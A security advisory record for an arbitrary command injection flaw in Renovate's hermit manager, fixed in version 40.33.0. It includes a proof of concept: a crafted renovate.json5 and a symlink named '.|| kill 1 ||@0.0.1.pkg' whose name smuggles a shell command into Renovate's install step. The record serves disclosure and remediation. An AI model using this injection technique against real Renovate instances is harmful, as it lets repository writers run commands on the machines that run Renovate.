Renovate vulnerable to arbitrary command injection via hermit manager and maliciously named dependencies
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
- Code execution
- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-77.
Summary
### Summary The user-provided string `depName` in the `hermit` manager is appended to the `./hermit install` and `./hermit uninstall` commands without proper sanitization. ### Details Adversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. All values added to the `packagesToInstall` and `packagesToUninstall` variables in [lib/modules/manager/hermit/artifacts.ts](https://github.com/renovatebot/renovate/blob/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c/lib/modules/manager/hermit/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (https://github.com/renovatebot/renovate/commit/b696abb3c2741508fbb4029f39153140a3722e1e), released on July 30 of 2022. In version 37.199.1 (https://github.com/renovatebot/renovate/commit/eaec10d7c8afadbdd783ac47bd2adbfab444d6df) some use of the `quote` function from the `shlex` package was added, but not in a way that usefully prevented this arbitrary code injection vulnerability. When support for replacements was introduced with version 37.214.4 (https://github.com/renovatebot/renovate/commit/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c), the same faulty approach was replicated for uninstalling packages. ### PoC 1. Create a git repo with the following content: `renovate.json5`: ```json5 { $schema: "https://docs.renovatebot.com/renovate-schema.json", customDatasources: { always: { defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json", transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'], }, }, packageRules: [ { // Target of the day matchManagers: ["hermit"], // Trick the manager in believing there's a new version overrideDatasource: "custom.always", }, ], } ``` `bin/hermit`: ```bash #!/bin/bash # # THIS FILE IS GENERATED; DO NOT MODIFY set -eo pipefail export HERMIT_USER_HOME=~ if [ -z "${HERMIT_STATE_DIR}" ]; then case "$(uname -s)" in Darwin) export HERMIT_STATE_DIR="${HERMIT_USER_HOME}/Library/Caches/hermit" ;; Linux) export HERMIT_STATE_DIR="${XDG_CACHE_HOME:-${HERMIT_USER_HOME}/.cache}/hermit" ;; esac fi export HERMIT_DIST_URL="${HERMIT_DIST_URL:-https://github.com/cashapp/hermit/releases/download/stable}" HERMIT_CHANNEL="$(basename "${HERMIT_DIST_URL}")" export HERMIT_CHANNEL export HERMIT_EXE=${HERMIT_EXE:-${HERMIT_STATE_DIR}/pkg/hermit@${HERMIT_CHANNEL}/hermit} if [ ! -x "${HERMIT_EXE}" ]; then echo "Bootstrapping ${HERMIT_EXE} from ${HERMIT_DIST_URL}" 1>&2 INSTALL_SCRIPT="$(mktemp)" # This value must match that of the install script INSTALL_SCRIPT_SHA256="09ed936378857886fd4a7a4878c0f0c7e3d839883f39ca8b4f2f242e3126e1c6" if [ "${INSTALL_SCRIPT_SHA256}" = "BYPASS" ]; then curl -fsSL "${HERMIT_DIST_URL}/install.sh" -o "${INSTALL_SCRIPT}" else # Install script is versioned by its sha256sum value curl -fsSL "${HERMIT_DIST_URL}/install-${INSTALL_SCRIPT_SHA256}.sh" -o "${INSTALL_SCRIPT}" # Verify install script's sha256sum openssl dgst -sha256 "${INSTALL_SCRIPT}" | \ awk -v EXPECTED="$INSTALL_SCRIPT_SHA256" \ '$2!=EXPECTED {print "Install script sha256 " $2 " does not match " EXPECTED; exit 1}' fi /bin/bash "${INSTALL_SCRIPT}" 1>&2 fi exec "${HERMIT_EXE}" --level=fatal exec "$0" -- "$@" ``` `bin/.|| kill 1 ||@0.0.1.pkg` (symlink): A symlink to `hermit` 2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container. > [!NOTE] > This specific proof of concept was made a lot simpler with the introduction of the `overrideDatasource` configuration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution. ### Impact TThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | renovate (npm) | 32.135.0 to before 40.33.0 | 40.33.0 | Patch available | GHSA-36j9-mx87-2cff |
- renovate (npm) Vendor— Affected 32.135.0 to before 40.33.0 Fixed in 40.33.0 Patch available GHSA-36j9-mx87-2cff
Remediation
- Fix · GHSA-36j9-mx87-2cff renovate (npm) Fixed in 40.33.0 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-36j9-mx87-2cff
References
Sources
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